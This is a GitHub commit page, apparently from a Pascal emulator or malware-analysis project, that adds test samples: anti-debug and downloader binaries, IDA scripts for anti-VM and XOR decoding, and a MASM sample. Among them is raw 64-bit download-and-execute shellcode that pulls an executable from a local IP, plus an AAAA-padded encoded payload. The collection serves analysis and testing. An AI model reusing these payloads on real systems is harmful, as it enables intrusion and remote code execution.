Skip to content
This repository was archived by the owner on Sep 10, 2024. It is now read-only.

Commit 7f99f49

Browse files
Coldzer0Coldzer0
Coldzer0
authored and
Coldzer0
committed
Samples for testing 👍
Enjoy ;)
1 parent 027fc59 commit 7f99f49

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

96 files changed

+72
-1
lines changed

.gitignore

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,6 @@ __recovery/
4444
# unwanted folders :D
4545
unicorn-engine-pascal
4646
CTF
47-
samples
4847
GDT
4948
win_dlls
5049
Build/OSX

samples/AntiDbgx32.exe

3.5 KB
Binary file not shown.

samples/AntiDbgx64.exe

4 KB
Binary file not shown.

samples/AntiDebugDownloader.exe

2.5 KB
Binary file not shown.

samples/AntiEmu/blue.exe

75 KB
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
CHMMXaL@MV@SD@O@MXRHRCNNJBNL
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
from idautils import *
2+
from idc import *
3+
4+
heads = Heads(SegStart(ScreenEA()), SegEnd(ScreenEA()))
5+
antiVM = []
6+
for i in heads:
7+
if (GetMnem(i) == "sidt" or GetMnem(i) == "sgdt" or GetMnem(i) == "sldt" or GetMnem(i) == "smsw" or GetMnem(i) == "str" or GetMnem(i) == "in" or GetMnem(i) == "cpuid"):
8+
antiVM.append(i)
9+
10+
print "Number of potential Anti-VM instructions: %d" % (len(antiVM))
11+
12+
for i in antiVM:
13+
SetColor(i, CIC_ITEM, 0x0000ff)
14+
Message("Anti-VM: %08x\n" % i)
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3�f���^V����Ѐ�A���,AªIu�������IJOFIBOMEAAAAAAAOJDDABAAAAFGFHILHECEAMDBPPPMDBMAKMDIOAHEAKMBMPANABMHOJOPPPPPPPIJPIFPFOMCAEAAGAILGMCECEILEFDMILFEAFHIABOKILEKBIILFKCAABOLODCKEJILDEILABOOFGOILLPPPPPPDLEECECIHFOMILFKCEABOLGGILAMELILFKBMABOLILAEILABOIOJACAAAAAADBMAIJEECEBMGBMCAIAAFGDBMAGEILEADAIFMAHIAPILEAAMILHABMKNILEAAIOJAFAAAAAAOJPLPPPPPPFOMDFLOINJPPPPPPIJMCGIIOEOAOOMFCOIIAPPPPPPIJEFPMGIMBHJOFLIFCOIHCPPPPPPIJEFPIGIIDLJLFHIFCOIGEPPPPPPIJEFPEGIOGBHIPHLFCOIFGPPPPPPIJEFPAGIJIPOIKAOFCOIEIPPPPPPIJEFOMINADFAPPFFPMGIDGBKCPHAFAOIDEPPPPPPIJEFOIGIIAAAAAAAINHLEIFHPPFFPIABMHMHAHFMDBCOGFMHEHAEHIGFAAAADBMJFBFBINEDEIFAINEDAHFAFBPPFFOIGIAFAAAAAAINEDEIFAPPFFOMPPFFPAGIAAAAAAAAFAPPFFPEOIFGPPPPPPFFFCEMENEPEOAAGIHEHEHADKCPCPHHHHHHCOHAHCGBGDHEGJGDGBGMGNGBGMHHGBHCGFGBGOGBGMHJHDGJHDCOGDGPGNCPHDGIGFGMGMGDGPGEGFCPGBGOGOGPHJFPHFHDGFHCCOGFHIGFAA
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
4.64 KB
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

samples/BinaryCollection/Chapter_20L/config.dat

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
|y`~`~`NNNNNNN/N6O{NN:N6/{N<N`N+N6N+NNN6O{N��������FNNNNNN|y`~`~`N{NqNNNONNNoNNNfF N�PZN�MNN�F{N�INNNNNN��\N�NH{N6O{NNNNONNN
Binary file not shown.
Binary file not shown.
Binary file not shown.
23.5 KB
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
sea = ScreenEA()
2+
3+
for i in range(0x00,0x50):
4+
b = Byte(sea+i)
5+
decoded_byte = b ^ 0x55
6+
PatchByte(sea+i,decoded_byte)
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
48 KB
Binary file not shown.
48 KB
Binary file not shown.
48 KB
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

samples/Downloader.exe

2.5 KB
Binary file not shown.

samples/Int3Hook.exe

83 KB
Binary file not shown.

samples/MessageBox_x64.exe

47.5 KB
Binary file not shown.

samples/PEB_MSGBOX.exe

17 KB
Binary file not shown.

samples/Shellcodes/MsgBox64.sc

268 Bytes
Binary file not shown.
339 Bytes
Binary file not shown.

samples/Shellcodes/Wincalc.sc

188 Bytes
Binary file not shown.

samples/Shellcodes/down_exec64.sc

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
HƒěXLŤ4$HƒěXH1ŇeH‹B`H‹pH‹vH­H‹0H‹~0‹_<Hű˛ˆ‹Hű‹sHţfş?‹–HH1ŇAÇurlmfAÇFonAˆVIŤ˙ÓfşJ‹–HH1ŇHąURLDownlI‰HąoadToFilI‰NfAÇFeAAˆVIŤH‰Á˙ÓI‰ÇH¸C:\\UserI‰H¸s\\PubliIFH¸c\\p.exeI‰FH1ŇAˆVIŤNH¸http://1H‰H¸92.168.1H‰AH¸0.129/plH‰AA.exeˆQHƒěXH1ÉIŤVMŤM1ÉLL$ A˙×H1ŇH9ĐuăHƒěXfşk‹–HIŤH1Ҳ˙ÓH1Ňfş"‹–HűIŤH1Ň˙ÓH1Ňfş(‹–HűHƒÄXH1É˙Ó

samples/Shellcodes/tm.sc

416 Bytes
Binary file not shown.

samples/case.exe

2.43 KB
Binary file not shown.

samples/cpuid.exe

3 KB
Binary file not shown.

samples/dropper.exe

6 KB
Binary file not shown.

samples/mal.exe

2.5 KB
Binary file not shown.

samples/malxx.exe

3.5 KB
Binary file not shown.

samples/obfuscated/obfuscated.exe

60 KB
Binary file not shown.

samples/obfuscated/original.exe

2.5 KB
Binary file not shown.

samples/obfuscated/source.asm

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
;
2+
; Obfuscator v2.0 sample
3+
;
4+
; Bartosz Wójcik | www.pelock.com
5+
;
6+
.586
7+
.model flat,stdcall
8+
9+
includelib \masm32\lib\kernel32.lib
10+
includelib \masm32\lib\user32.lib
11+
12+
include \masm32\include\kernel32.inc
13+
include \masm32\include\user32.inc
14+
include \masm32\include\windows.inc
15+
16+
assume fs:flat
17+
18+
.data
19+
szCaption db 'Visit us at www.pelock.com',0
20+
szText db 'Hello world',0
21+
.code
22+
23+
24+
ShowInformation proc
25+
26+
;
27+
; MessageBox(NULL, "Hello world", "Visit us at www.pelock.com", MB_ICONINFORMATION);
28+
;
29+
push MB_ICONINFORMATION
30+
push offset szCaption
31+
push offset szText
32+
push 0
33+
call MessageBoxA
34+
35+
ret
36+
37+
ShowInformation endp
38+
39+
start:
40+
call ShowInformation
41+
42+
;
43+
; ExitProcess(0);
44+
;
45+
push 0
46+
call ExitProcess
47+
48+
end start

samples/small.exe

3.5 KB
Binary file not shown.

samples/url.exe

9 KB
Binary file not shown.

0 commit comments

Comments
 (0)